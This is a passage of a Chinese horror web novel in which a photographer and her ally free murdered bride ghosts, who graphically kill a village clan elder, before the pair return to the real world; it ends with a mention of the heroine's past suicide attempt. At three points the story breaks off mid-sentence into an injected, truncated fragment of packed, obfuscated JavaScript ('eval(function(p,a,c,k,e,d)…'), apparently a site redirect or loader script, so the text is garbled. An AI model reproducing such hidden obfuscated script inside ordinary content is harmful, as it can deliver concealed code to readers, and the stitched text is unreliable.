贴着“囍”字的大红灯笼光晕流转,她唇边笑意混合着眼底刀光,冷锐得令人心神颤栗。 【是否使用S级照片道具“群鬼的围猎”?】 【是/否】 “是”字被按下的那一刻,齐檎丹两指发力,掷出了夹在指缝间的照片。 “呜——”耳边只听得一声破空的尖啸,天地色变,凄厉的鬼哭直掀苍穹。惨白细瘦的女人手伸出照片,被拍摄到的数十个新娘鬼,争先恐后地从照片里爬出。 出来的第一眼,她们便看见了眼前的陈家村村民。 只一照面,双方皆是一愣。 由于这些照片里的新娘鬼,是真实新娘鬼的百分百复刻,拥有一样的记忆,她们很快便从这群村民里,认出了熟悉的人。 这些人,有的是新娘鬼生前的丈夫,有的是她们的儿子,曾经牵系着她们的情感爱恨…… 最后,却对她们痛下杀手。 冷血至极。 新娘鬼眼里的血泪落了下来,犹如一场红雨。红雨浇不灭怒火,却将恨意灌溉得葳蕤疯长。 被挚爱之人割肉放血,封入傀儡,她们怎能不怨?!怎能不恨?! 19. 古厝诡婚19 人的恐惧从何而来?来自痛苦,来自未知,又或者……来自罪孽与愧疚? 眼见着,被自己亲手杀害的人化为厉鬼,穿着那身他们所熟悉的大红嫁衣,缓缓飘近,村民们仿佛被掐住了脖子,集体失声。 竭力张到最大的嘴里,只剩下从气管发出的“嗬嗬”气音: “饶过我,饶过我……” “当年我们苦苦哀求的时候,你们饶过我们了吗?!” 滔天盛怒一经点燃,渴望复仇的心便如燎原烈火,刹那间席卷四野。新娘鬼张开利爪,龇出尖牙,带着满腔的怨怒,向那些害她们沦落至此的村民们冲去。 真新娘鬼的残魂还要投胎转世,犯不得杀孽,照片里复刻的这些新娘鬼则不同。 她们要复仇! 要痛痛快快地复仇! 新娘鬼挥动猩红的长指甲,刺进仇人的血肉,大红的嫁衣染上斑斑血迹,被夜风掀动,血河一样奔涌,把围堵在门前的村民吓得屁滚尿流,抱头鼠窜。 村民们在前面逃,新娘鬼在后面追。不消片刻,这群村民已无心保障婚礼进行,自发地四散开来,给齐檎丹让出了一条可逃生的路。 此时不走,更待何时? 齐檎丹扭头就跑。不曾想,一只手臂却从背后猝然伸.出,狠狠勒住了她的脖颈。 是陈氏族长! 他竟然那么快,就从屋里赶了过来。 脖颈上的手臂不断绞紧,脖动脉被严重压迫,阻塞切断了大脑的供氧通道。齐檎丹喘不上气,无法呼吸,不过一会儿,她便感觉头颅胀痛欲裂,眼前一阵阵泛黑。 不行……再这样下去,她会晕过去的。 求生欲让齐檎丹下意识挣扎,试图将勒在颈部的手臂掰开,却发现根本无济于事。这个锁喉的姿势,太难挣脱。 仅剩的氧气迅速消耗,眼前的万物已开始模糊,齐檎丹却仍强撑着,睁大爬满血丝的眼睛,梗着一口气,不肯晕倒屈服。 她不能在这里失去意识。 她要撑住。 她要等,等梁安颜那边的结果,等她们计划之内的一线微茫的希望。 . 梁安颜确实被毫发无损地送出了古厝。毕竟是向信仰的漫天神佛发誓,陈氏族长没有食言的勇气。 送她出古厝的,是加入陈家村阵营的那三个考察员。 那两男一女看着梁安颜,洋洋自得地嘲笑:“就算那个叫齐檎丹的,拿命换你从这里出去了,又怎么样?出不了副本,你还是得在这里困到死。” 兜兜转转演了这么一出,不过是荒唐可笑的无用功。 他们不明白这有什么意义。 然而,梁安颜并没有像他们预料之中的那样,流露出绝望或者愧疚:“即便我被困死在这里出不去,站在这里笑话我的你们,又比我好了多少呢?” “我们和你才不一样。”考察员里面的那个高中女生,叉着腰反驳:“我们已经完成阵营任务,马上就可以走了。” “那你们为什么还没有离开?” 梁安颜笑着,揭开他们的伤疤:“是不想出副本,还是出不去?” “我们……”那高中女生张了张嘴,正欲反驳,却被边上一直沉默的矮小男人一把推开。 这个矮个子的男人,是所有考察员里面,进入副本的次数最多的,这次阵营任务成功这么久,系统却一直没有如约发放出副本的奖励,他心里早开始犯嘀咕了。他皱着眉,拔高了声调:“你还知道些什么?” “我还知道,你们没忍住诱惑,吃下了族长给的鱼,知道吃完这个鱼以后,你们全都会受到族长的控制。”梁安颜按照分开前,齐檎丹给她的说辞,一字一句往下背。 还没背完,对面那三个考察员的脸色,就变得十分难看。 矮个男人没忍住,骂了句粗话: “妈的,被这老阴逼给坑了。” 谁能想到,族长对他们的控制,居然还能把不让他们出副本包括在内? “族长那边要是不让我们走,我们就永远都出不去。”矮个男人看着其貌不扬,却是这三个考察员里的核心。他先是想了下陈氏族长放他们走的概率,又大概估算了一下,现在折回去杀陈氏族长的胜率,眉头忍不住越皱越紧。 梁安颜看出他们的困局,微笑着撩了下卷发:“现在我们有同一个敌人了,对吗?” “你有什么办法?”矮个男人问。 “陪我去陈家村的宗祠。宗祠前有个池子,里面有能制约族长的东西。”梁安颜说了,也不怕他们不信,因为对这三个考察员来说,已经没有比信任她更好的选择了。 为了保障婚礼的进行,青壮年村民们基本都留在族长的古厝里了,村里仅剩的几个人也被梁安颜用“天女散花”的撒钱技能引开。 他们一路畅通无阻,顺利来到宗祠前。 宗祠大门紧锁,连前面的池子也被栅栏围着。 梁安颜费了好些力气,才在三个考察员的帮助下翻进栅栏,看见那个锁着林盼娣尸骨的水池。 月光下,池水泛着诡异的绿光,从水里延伸.出来连接岸边的铁链上,贴满新旧不一的黄符,梁安颜不用想,都知道铁链底下是什么。 梁安颜三步并作两步奔向水池,怎料,离水池还有一定距离时,两只苍老粗壮的臂膊却骤然伸来,拦住了她的去路。 “这是村中禁地,你不能进去。”把守宗祠的老人脸色铁青,丝毫不肯对她通融。 老人也是陈家村的一份子。 他是虐待新娘鬼这件事情的获利者,维护这套规矩的心非常坚决。因此,和考察员们站在绝对的对立面。 可,梁安颜既没有时间跟老人沟通,也来不及使用技能了。不远处的族长古厝里,不断有人在往外跑。新娘鬼的哭声与村民惊恐的尖叫,混合成震天动地的噪音。梁安颜意识到,齐檎丹已然行动。 然而,齐檎丹为什么还没有出来?有事耽搁,还是……遇到了危险? 梁安颜心脏猛然挛缩了一下。 她再也等不下去了。 梁安颜抬头看了眼,因为被老人拦路而无法通行的前方,从系统背包中取出齐檎丹寄给她的夫人妈神像,突然兵行险招。 她抓起神像,抡起手臂,向水池的方向大力扔去。 “进池子里,进池子里,进池子里……”梁安颜焦急地盯着夫人妈神像,不断祈祷。 可惜,天不遂人愿。 被扔出的夫人妈神像偏离理想轨道,在半空中划过一条抛物线后,只落在旁边的荒草堆上。 此时,夫人妈神像距离池子边缘,还有相当一段距离,而看守这里的老人已沉着脸,向神像伸.出手去。哪怕神像的滚动尚未停下,一切也似乎已成定局。 梁安颜绝望地闭上了眼睛。 就在这千钧一发之际,宗祠前的池水陡然沸腾了起来,冒泡翻滚。一道金光,唰然从池底穿出,将岸边的夫人妈神像猛地勾了下去。 林盼娣的尸骨与储存她灵魂的夫人妈像,在水下相遇,以女鬼的身份被封印已久的魂灵,终于重获成神的契机。 夫人妈神像被激活了! 刹那间,池水干涸,山摇地动。 水池后方的宗祠被震得坍塌,束缚尸首的锁链自动断裂……夫人妈神像感应到齐檎丹深陷危机,倏然化作一道流光,向齐檎丹所在的族长古厝径直飞去。 诸般异象,看得守宗祠的老人呆若木鸡。 恰恰在这时,另外三个考察员也陆续翻进了栅栏里。 梁安颜赶紧招呼他们过来干活:“快!抓紧时间打捞林盼娣的尸体,破坏这个阵法!破坏得越彻底越好!” 这个阵法长久以来,一直在给陈氏族长提供青春和生命力,只有把阵法彻底破坏掉,作恶多端的族长才可能真正被杀死,永无翻身余地。 . 齐檎丹即将被勒得失去意识的那一刹那,夫人妈神像的光芒,骤地降临在了她身上。 一层金色的流光在她身上迅速展开,将陈氏族长弹开了足有半尺远。 【夫人妈神像生效中】 【保护罩剩余时长:1:00】 一分钟时间的绝对保护,很足够了。 齐檎丹捂着受伤的咽喉,从地上艰难站起。她看了一眼被弹飞在地,动弹不得的陈氏族长,从系统背包中调出相机,拎着相机的肩带,拿在手上。 这个十万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三个响头,个个清脆响亮。 没过一会儿,陈氏族长养尊处优的额头就磕破了。皮开肉绽,深可见骨。 鲜血随着额头的每一次磕碰,浸染上红砖地面,又在抬头时被带起,飞溅在齐檎丹脸上。 待到三个响头磕罢,齐檎丹的侧脸上,已溅满滴滴点点的殷红。齐檎丹钳制着逼陈氏族长的下巴,逼他抬头上望,染血的容颜艳丽得诡异恣肆,好似从地狱里爬上来复仇的艳鬼: “给我睁开眼睛,好好看清楚,是谁要杀你?你又都对不起谁?” 【保护罩剩余时长:0:10】 陈氏族长浑浑噩噩地抬起头,感觉被摇匀的脑液还在头颅里晃荡。 不知是否因为在地上磕花了眼,他竟然看见——一个接着一个的鬼魂,从齐檎丹飘扬的红嫁衣后飞出,密密麻麻,不计其数。这些鬼魂里,有啼哭不止的婴灵,也有面无表情的新娘。 每一个,都是被陈氏族长和他族人杀害的冤魂。 由于杀的人太多,陈氏族长已经认不出她们的面貌,只看见无数鬼魂高高地飘在上空,以冰冷淡漠的目光,居高临下地往下俯瞰。 屋内无风,她们的衣裙却无风自动。不似鬼魂,倒似漫天主掌善恶裁决的神灵。 这场景,过分离奇怪诞。 族长分不清这是真实,还是濒死者的幻觉。 “鬼!有鬼啊!!”陈氏族长惊惧地躲闪着视线里的鬼影,缩着脖子,抖若筛糠。然而,这些鬼影仿佛无处不在,无论他怎么躲藏,总都会精准地回到他眼前。 到处都是鬼,哪里都是鬼。屋檐下,房梁上,大门外…… 群鬼云集,只因鬼在人心。 【保护罩剩余时长:0:01】 齐檎丹手头的照片,还剩下最后一张。 她瞟了眼被绑住的陈氏族长,又看向照片上神情痛苦的穆青青鬼魂,最终将照片往前方飞掷而出。 【是否使用S级照片道具“新娘鬼的挣扎”?】 ——是。 20. 古厝诡婚20 【保护罩剩余时长:0:00】 夫人妈保护罩的倒计时归了零,金光从齐檎丹身上淡去,重新化作一尊夫人妈神像。 而与此同时,被折断四肢的新娘鬼穆青青,以白骨森森的手肘和膝盖着地,缓缓爬出照片,向绑着陈氏族长的柱子移动而去。 她认出了杀她的凶手。 “做人媳妇真受气。离父母,别兄离嫂,离小弟……”被照片复刻出来的新娘鬼穆青青嘴里,依然轻声哼唱着那首哭嫁歌。然而,齐檎丹却是第一次,从中听出了真心实意的喜悦。 这喜悦,不是因为嫁人。 而是因为杀夫。 眼前的新娘鬼穆青青究竟是真的,还是由照片复刻出的,陈氏族长一概辨别不出。他只知道,这首哭嫁歌曲唱得越欢快,他心头的恐惧就越深重:“别过来,你别过来啊……啊啊啊啊!!!” 在陈氏族长的惨叫声中,新娘鬼穆青青笑着张开血盆大口,一口咬下。 尖牙锋利,本可一击毙命。 新娘鬼穆青青却避开了脖颈的要害,先从族长的右手下口。 咬穿手腕,切断手筋,折损骨骼……右手彻底失去行动能力后,接下来是左脚,再是右脚。这个方式和这个顺序,就像不久之前,陈氏族长对穆青青所做的那样。 在残忍虐杀穆青青和其他女子的时候,陈氏族长也许没有想过,他做过的这些歹毒之事,终有一日,会报应到他自己身上。 陈氏族长痛到极点。 他疯狂地挣动着躯干,想要从新娘鬼的利齿下逃脱,却毫无抵抗之力。铁锈味的血腥充满口腔,陈氏族长在自己的哀嚎声中,仰头上望。 上空,被他害死的上百鬼魂面无表情,观看着这场迟来的报应。 复仇本该快意。 然而迟到的正义,改变不了已成定局的悲剧。那些女子所遭受的痛苦那样深重,陈氏族长这辈子,都偿还不起。 很快,陈氏族长便只剩下孤零零的一只左手。知道自己在劫难逃,他反倒笑了起来。剧烈的痛苦与笑意,将陈氏族长本欲上翘的嘴角,牵扯成某种龇牙咧嘴的狰狞。 “我想起你是谁了,你是我前不久刚杀的,那个姓穆的女记者。”他直勾勾地注视着新娘鬼穆青青,“我知道你是为了调查才故意嫁给我的,也知道你很在乎那些失踪的女人。” 陈氏族长靠在柱子上,满身是血,可他的微笑却异常平静。 齐檎丹地心脏猛一紧缩。 即使陈氏族长败局已定,她仍突然产生了某种不妙的预感。 “你们既然那么关心女人的安危,就别忘了,我手里还有另一个女人的命呢。我就算死了,也得把女人拖进阴曹地府里,给我陪葬!”族长的嘴角越咧越开。他狞笑着,睁大了浑浊怪异的老眼,缓缓抬起左手。 掌心中,浮现出一个年轻的虚影。 那个虚影,赫然是考察员里,那个因吃下鱼肉而被他控制的高中女生。 没给齐檎丹反应的时间,陈氏族长啐出一口血沫,猛力攥紧左手的手指。五指间,高中女生的虚影登时被拧转,痛苦地滚在地上。都已经死到临头了,陈氏族长居然还在惦记着杀人。 他低头看着掌心里女人的虚影,眼里泛起变.态的喜悦。这种喜悦压过了痛苦,压过了失态失控带来的挫败感…… 这就是为什么他喜欢折磨。 他要让这个女的也像鱼一样,被开膛破肚地死去。 这可比他杀那个胖子的时候,有意思多了。陈氏族长不怀好意地想。那女高中生年纪虽小,却清秀可人,她的死一定更有观赏价值。 陈氏族长笑着抬起食指。 故技重施。 一旦这根手指划下去,女生的胸腹部就会被瞬间剖开——像砧板上,一条翻着白肚子扭动的大白鱼。 死得残忍,又香.艳。 说时迟那时快,齐檎丹飞起一脚,踢在陈氏族长的手腕上。 族长左手被踢得一偏,手里的虚影脱离控制。新娘鬼穆青青立马赶来,先一口咬断了陈氏族长的手,让他彻底失去杀人的机会,又对准陈氏族长脖子上的颈动脉,恶狠狠地补上了一下。 咬穿颈动脉的瞬间,鲜血四溅。 陈氏族长来不及动作的断手,颓然地垂落身边。 由于陈氏族长残害那高中女生的思想太过牢固,即便断手离开身体之后,他的手指仍在下意识划动。然而,手掌中的虚影却消散了。 因为离开身躯的断手,不再具有操纵的能力。 “不……”陈氏族长顿感不甘。 但被咬穿的脖颈,仅能发出漏风的气音。 陈氏族长即便恨得眼球都爆出血丝,也只能眼睁睁看着险些遇害惨死的高中女生逃过一劫。急火攻心下,他终是两眼一翻,结束了这条充满罪恶的性命。 族长一死,陈家村的数百个女性冤魂大仇得报,族长用鱼肉控制他人的能力,也跟着消散。 包括高中女生在内的那三个考察员,得救了。 唯一受害的,只有齐檎丹的相机肩带。 这相机肩带先是在勒住陈氏族长的时候,受到了磨损,又因为被齐檎丹拿在手上,沾到了陈氏族长的鲜血。 以至于它现在的模样,有点恶心。 齐檎丹“嘶”地抽了口凉气,赶忙将其丢掉。这一切还没做完,她手中的夫人妈神像却迫不及待地落地,化作林盼娣的模样。 “郑月,是你吗?”林盼娣的神魂情不自禁.地抬眼,看向照片复刻出的穆青青新娘鬼。 “不是她。”齐檎丹替新娘鬼回答。 族长已死,任务完成,被复刻出的穆青青新娘鬼便似雾气般散开了。齐檎丹看着失落的林盼娣,轻轻摇头:“这只是复刻出的她。你之前,特地去我那个房间,就是为了找她吧?” 撬锁开门的熟练,是因为已经这样做过无数回。 之所以进房后又离开,只是因为,承载着鬼魂的那张记者证,已被齐檎丹收下,林盼娣无法感受到好友的气息。 但现在…… “郑月今生的真魂魄,在这儿呢。” 齐檎丹拿出属于穆青青的那本记者证,放在林盼娣手心:“之前她神志不清,即便看到你也认不出。但我给她看到了她记者证上的身份,又打碎了族长对新娘鬼束缚,她的神智应该已经恢复得差不多了。或许,她也在观看这场复仇。” 转瞬间,林盼娣意识到了齐檎丹的好意。 穆青青生前一心救人,死后被折磨成厉鬼也并未害人,只要不染血污,她来世便有机会投胎到一个好人家。 陈氏族长虽然该杀,却不该脏了她的手,毁了她的好前程。 她值得更好的未来。 齐檎丹微笑着:“试一试,唤醒穆青青吧。或者,叫出那个你更熟悉的名字——郑月。她也许,已经记起你们一起经历的一切了。” 剥去两世为人的经历,不管是郑月,还是穆青青,内核都只是同样的灵魂。 都是林盼娣的好友。 感激之余,林盼娣合拢手指,颤抖着指尖,将那张记者证紧紧攥进掌心。 她对着记者证,唤出了郑月的名字。而凝聚在记者证上的魂魄,也随着林盼娣这一声声期盼的召唤,缓缓凝实成形。 时隔千年,昔日的友人终于相聚相认。 拿千年之久守候一人,值得吗?相逢的场景面前,齐檎丹禁不住陷入沉思。 或许是值得的。 哪怕最终注定等不到一个结果,至少在等待的那个人不会后悔。 在等待这件事情上,齐檎丹完全能够共情等候了友人千年的林盼娣,因为她和林盼娣一样,都等待了一个人等待了很久。 只是,林盼娣已经等到了她想等的人。 而她还没有。 “先出去吧,这里不是说话的地方。”离开前,齐檎丹故意将桌上的烛台打翻。火焰点燃了桌布,从屋内燃起,很快焚烧到了族长的尸体身上。 今夜过后,族长的尸体将被烧成焦炭,焚化成灰。如此,也就杜绝了他利用阵法,延续生命的可能。 齐檎丹杜绝让这样的悲剧,再次上演。 火势越来越大,越来越猛,古厝上覆盖的红砖红瓦,被烈焰吞没,融化作一片铺天盖地的红—— 像极了浸泡着朝霞的海。 林盼娣与转世成穆青青的郑月,已携手走出古厝,迫不及待地开始叙旧。齐檎丹站在族长古厝前,凝眸于这片烈焰的时候,恍惚间,却仿佛看见了年幼时候的林盼娣和郑月。 曾经的朝阳里,海浪边,泡着霞光的海水红比火焰。两个天真稚气的女孩也是如此肩并着肩,坐在沙滩上。 嘴里,说着悄悄话。 “我听说,我们死后可以变成夫人妈,可以保护最好的亲人朋友。我们两个谁走得早,谁就给对方当夫人妈,好不好?” “好啊,等我死了,我要给你当夫人妈。我们要互相保护一辈子。那我们拉钩。” “那我们拉钩!” “拉钩上吊,一百年不许变,骗人是小狗。” 林盼娣和郑月嬉笑着伸.出手,两个小拇指紧紧勾在一起,被朝霞镀上了一层金边。 童真的誓言就此成形。 如果没有这般残忍的陈氏族长,她们本能就这么勾着小拇指,陪对方走完这一辈子。从青丝到白发,不变的是友谊长存。可惜世间的事,从来没有如果。 林盼娣和郑月的魂魄在阶前笑语,依稀与旧时的女孩身影重叠。 而在她们身后,整座古厝尽化烈火。 灼灼如华。 齐檎丹情不自禁.地举起相机。 相机取景框里,烧红的瓦片自檐上跌下,婚庆用的灯笼被焚为灰烬……而与此同时,林盼娣与转世后的郑月在古厝前携手而立,裙袂飞扬。 “咔嚓”的快门声,将这一瞬间定格。 整整两世,她们被一次又一次残忍地分隔。但至少在这张照片里,重逢的喜悦可以被无限延长。 “照鬼相机”对照片质量的评分,与拍到的照片同时弹出。 齐檎丹点开评分。 【恭喜获得SS级照片“古厝烈焰”,已复刻鬼怪实力100%,使用时将照片抛出即可。】 即便系统的照片命名简单粗暴,毫无美感,但从S级到SS级的变化,依旧让齐檎丹欣喜。 有突破了!噢耶! 她对评分标准的判断,看来是对的! 齐檎丹点开剧情解锁度,发现这一数值,果然已经上涨到100%。可见系统的照片评价与剧情解锁度之间,确实存在着不容小觑的关联性。 齐檎丹还未从激动中平复过来,便远远地看见,陈家村中的其他地方,也陆续燃起火光。 火光吞噬了民宅,烧糊了山墙。 将阵法摧毁殆尽。 梁安颜站在耀眼的火光前,正努力呼喊齐檎丹:“副本的出口出现了,快来。我试过了,我们可以出去了。” 齐檎丹一愣。 她们居然已经满足离开副本的条件了? 齐檎丹随即意识到,主线任务的婚俗考察没说要考察多少,她们只要考察了就算完成,而隐藏的出副本条件,应该是完成林盼娣和穆青青未了的执念。 林盼娣和穆青青共同的执念,是希望不再有女性受害,而齐檎丹和梁安颜,帮助她们完成了这两个执念。 如此一来,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一出副本,系统的提示音就响得没完没了。 齐檎丹不胜其烦,忙趁着结算的时间关掉了系统弹窗,打算等回家之后,再慢慢研究。 可能为了方便考察员在现实中联系,哪怕不是从同一个地方进副本的,同副本里的队友出副本时,也会被分到了现实里的同一个位置。 因此,现在的齐檎丹和梁安颜都位于同一个地方。 这个地方,正是齐檎丹进副本前处在的公园,也是她本来为梁安颜拍摄鬼新娘题材写真,选中的外景地点。 副本里夜色弥漫,副本外却正处在傍晚。在副本里待了这么长时间,齐檎丹本以为现实里的时间也同样过了许久,还在担心该怎么安抚被耽误的客人,结果看了眼时间,却发现与她离开时,没有太多差别。 而且受伤的脖颈不再疼痛,丢失的手机回到手中,身上的嫁衣也换回了正常的衣着。 方才经历的一切,好似一场幻象。 “还好进副本时,现实里的时间流速会比副本里慢很多,一切基本上保留着一开始的样子。要不然,那就太容易误事了。”梁安颜的感慨,无意间替齐檎丹解答了疑惑。 梁安颜出副本后的第一件事情,就是查看待办事务。梁氏集团里有许多事情,正等着梁安颜这个接班人处理,一点也耽误不得,她这边若是掉链子,甚至可能影响到整个集团公司的运转效率。 齐檎丹出副本后做的第一件事情,则是拿相机。 此刻正处于蓝调时刻,天色在相机里会呈现出蓝色,深邃异常。再想到血嫁衣还在,今天本来要拍摄的客人梁安颜,也近在眼前,齐檎丹一时技痒。 “还拍照吗?”齐檎丹蠢蠢欲动。 “别,千万别。”梁安颜见她低头翻包,又要从包里往外掏她那个刚没了肩带的相机,连忙叫停。 梁安颜现在精疲力尽,已经没有力气再折腾了,回去还有一大堆公司事务要处理。 再拍照,她真的会累死的。 梁安颜抽空看了一眼密密麻麻的日常表,深感回去休息刻不容缓:“我明天还有一场重要会议,就算是为了这场会议,我也必须保持充足的精力。” 齐檎丹拿着相机,有些为难地微微皱眉:“但我们之前约的时候说好过,按照我们现在这个情况,你之前付的定金我是没办法退还的。”假使放弃拍摄,作为客人的梁安颜实在有点亏。 但,齐檎丹显然低估了梁安颜的财力。 区区定金而已,身为梁氏集团的大小姐,梁安颜哪里会缺这点钱。她弯唇笑了:“不就是定金嘛,我最不缺的就是钱。我马上把尾款也打给你,照片不用你拍了,就当你已经给我拍过了。” 梁大小姐出手阔绰,说转钱就转钱,不带一点犹豫。不等齐檎丹反应过来,梁安颜已不由分说地将钱打了过去。 尾款一秒到账。 进账的提示音悦耳无比。 刚转完钱,深知齐檎丹拍照时疯魔程度的梁安颜,便脚底抹油,火速开溜。生怕走得不够快,齐檎丹就会把她强行留下来,给她拍照。 “等一下,我有一个问题要问你。”齐檎丹看向了走得头也不回的梁安颜,她突然提出问题,却与拍照无关,“你当初联系我,说想拍鬼新娘写真,是真的喜欢这个题材,还是早就知道,你会进一个婚嫁题材的副本?” 梁安颜急匆匆往前的脚步,忽然顿住。 她回过头。 目光猝然撞进齐檎丹黑沉的瞳孔。 瞳孔里,充满探究。 21. 现实世界1 齐檎丹的眼眸在光照下本是茶色,然而此刻正值日落前后,天色渐晚,衬得她瞳孔无限接近浓黑。 被这样一双眼瞳一瞬不眨地盯着看,简直教人心头犯怵。 梁安颜深深吸了一口气。 如果有可能,她不愿意跟齐檎丹站在对立面。梁安颜很感谢齐檎丹愿意跟她结盟,这次她们在“古厝诡婚”副本里的合作,让梁安颜意识到,齐檎丹绝对算得上一个很好的队友。 是齐檎丹使她意识到,辅助型技能不是废物,即便不用技能也有办法自保。 她不需要循规蹈矩,裹足不前。 但梁安颜也明白。 如果站在对立面,齐檎丹绝对会是一个很难缠的对手。 因此,梁安颜最终选择将其和盘托出:“我在进副本前,确实已经对副本的主题有一些了解,也事先做好了准备。” 梁安颜背下相关的资料,又为了提前适应副本的恐怖氛围,约了这套写真。 只是没曾想—— 写真还没拍成,她就进了副本。 梁安颜的回答,基本印证了齐檎丹的猜测。至于这副本的信息从何而来,她不打算追问,梁安颜也没有细说。 在这个生死场里,人人都有着自己的秘密。区区信息来源,齐檎丹无意深究。 她在意的,是另一个问题。 逐渐沉淀的暮色里,齐檎丹看向梁安颜,口中问出的,却是一个似乎与之风马牛不相及的话题:“五年前,你们有没有去过獐山岛?” 梁安颜“啊”了一声,似乎没有听清楚内容,齐檎丹却从她微妙的神情变化中,得到了答案。 齐檎丹那件粉紫色的防晒外套往内那一面,有一个紧贴着左心口的口袋,她从那个口袋中,取出了一张照片:“那你……认不认识这个人?” 梁安颜接过照片。 她低头一看,顿觉意外。 这或许是齐檎丹一生中,拍过的最差的照片。 构图糟糕,画面模糊。 最重要的拍摄对象,还只是一个背影。 这样糟糕的照片,本应该成为摄影师毕生的耻辱,被嫌弃,并被早早删除。然而,这张照片却意外地被保存得很好,即便边角已然因过久的时光泛了黄,照片也异常平整干净。 梁安颜意识到,这个人一定对齐檎丹很重要,但无奈照片实在太糊,她盯着看了好久,也分辨不出那背影属于谁。 末了,她只能叹息一声,把照片递还回去:“这张照片是你什么人?” “一个想见,又见不到的人。” 齐檎丹苦笑。 对于再一次的寻人未果,齐檎丹并没有太过意外。 又或者,她早已经再一次又一次无果的找寻中,耗尽了希望。 梁大小姐的私人司机来得很快。齐檎丹还没来得及再仔细问些什么,梁安颜的车子就已经停在面前。梁安颜把那张模糊得过分的背影照片递还给齐檎丹,随后便坐上了车。 回家的路上,梁安颜越想越觉得不对。综合齐檎丹后面问的两个问题来看,拿照片询问才是重点,而齐檎丹问的前一个问题,是为后一个问题服务的。 根据这个逻辑往下顺,不难得知,齐檎丹想问的,应该是和她一起去过獐山岛的人。 但,獐山岛…… 这个岛屿并不存在于现实。 因为这个名叫獐山岛的岛屿,是五年前梁安颜第一次被拉进副本里时,那个副本里的主要场景。 车窗外的景观流动般飞逝,梁安颜搭在真皮座椅上的手指,却骤然收紧。 梁安颜分分明明地记得—— 那一次,她是跟她的固定队伍一起进的副本。而这个副本凶险异常,除了她所在的四人小队,其余考察员全部死绝,无一生还。 也就是说,齐檎丹要找的人如果不是已经身死,只可能是他们队里的一个。 队里的人都与梁安颜相熟多年,在人际关系上不至于瞒骗,要是他们当中有谁认识齐檎丹,梁安颜早该知道了。可是这么些年来,连点风声,梁安颜都从未听见。 齐檎丹辛辛苦苦,找一个不认识她的人做什么? 难不成,这其中有诈? 梁安颜警觉起来。她第一时间拿起手机,想给队里的人拨去电话。 在梁安颜所在固定队里,她有三个队友。实力最强的顾斩风是小队的队长,极致理性,但是个冷漠到不近人情的冰块脸。另外一个队友叫叶原,在电脑技术方面非常厉害,最近却正忙着帮顾斩风查信息,平时基本联系不上。 只有龙骁,虽然性子急了些,却是真正的为人仗义,朋友有难必帮。而且他跟梁安颜还是青梅竹马的玩伴,一旦关系到梁安颜的事,他不可能坐视不管。 考虑到以上因素,梁安颜想都没想,就把电话打给了龙骁。 电话一接通,梁安颜立刻开口:“我看到你在直播间,给我发的弹幕了,我的直播你有看,你应该也注意到副本里面跟我临时组队的考察员了吧?对,就是叫齐檎丹的那个,她居然知道我们去过獐山岛。” “啊?獐山岛?那不是我们去的第一个副本吗?”龙骁同样大为不解,他挠挠头皮,“我们通关这个副本都五年了,她一个才进副本的新人,是从哪儿知道的?” “什么?齐檎丹这是第一次进副本?!”梁安颜震惊。 她一直默认齐檎丹经验丰富。因为她从没想到过,头一次进副本的新人,竟然能有这么强的实力。 敢想,敢干,逻辑严谨。 连那些进过几十个副本的考察员,都不一定能做到。 “是啊。她一来就进了困难级别的‘古厝诡婚’,我们都以为她会第一个死掉。”龙骁多说了两句,重新把脱缰的话题拽了回来,“不过,这更奇怪了。我记得,五年前的副本世界跟现在不一样,是没有考察系统的,她看不了我们的直播……” 只有几个元老级别的考察员们,才会知道,如今的副本世界,远非最初的样子。 五年前,副本世界里根本没有系统。 与现如今大不相同。 没有系统的存在,便没有任何可以帮助考察员的功能。别说考察员直播间了,考察员连个人专属技能、系统商城和兑换道具的积分都没有。他们进副本考察的整个过程,没有外传渠道,不会有直播观众。 没直播,齐檎丹即便有积分,也没法买到直播回看。 她本该对副本里的獐山岛,一无所知。 . 梁安颜乘坐的车辆已经驶远,轮胎后方扬起的烟尘迷了眼睛。齐檎丹拿着照片,却没舍得收回口袋。 路灯的光落在相纸上,晕开半道昏黄。齐檎丹低下头,指腹缓缓从照片上抚过。 人人皆知,齐檎丹作为摄影师,凭借独特的怪诞风格和过硬的实力,一炮而红,备受追捧。可鲜少有人知晓,这张烂到没边的照片,却是齐檎丹这五年来铭刻心上的执念。 也是她拿起相机的缘由。 确实,五年以前,考察系统的直播还没出现,但同样是那个时候,一档特殊的求生综艺却登陆现实,短暂地打破了副本世界与现实的界限。 如今的直播,是仅限进入过副本的考察员可见,而当时的综艺不同—— 几乎是在强行摁头逼迫人看。 只在那一夜之间,每个人电脑上,都多了一个没法卸载的视频软件。而且软件里能看的,只有一档粗制滥造的求生综艺。 该综艺剪辑稀碎,画面稀烂,制作方更是名不见经传。 偏偏血腥得令人印象深刻。 综艺里,那些被抓进副本的倒霉蛋们,往往被冠以考察员的身份,深入不同地方考察恐怖民俗,最终被潜藏在副本里的鬼怪扯碎。整个综艺犹如劣质三级片,狂飙血浆。 起初的几个副本全员团灭,充斥满绝望,后面才逐渐有人探索出了生路。 齐檎丹在找寻的那人,就是其中之一。 从综艺里第一次看见那人时,齐檎丹正处在她人生里最黑暗的一段时光。 长达多年的校园霸凌,铺天盖地的黄谣和谩骂,争吵的父母、破裂的家庭……极度压抑与绝望下,齐檎丹按照为自己制定好的计划,用事先准备好的美工刀割开手腕,靠在墙上,安静地等待死亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 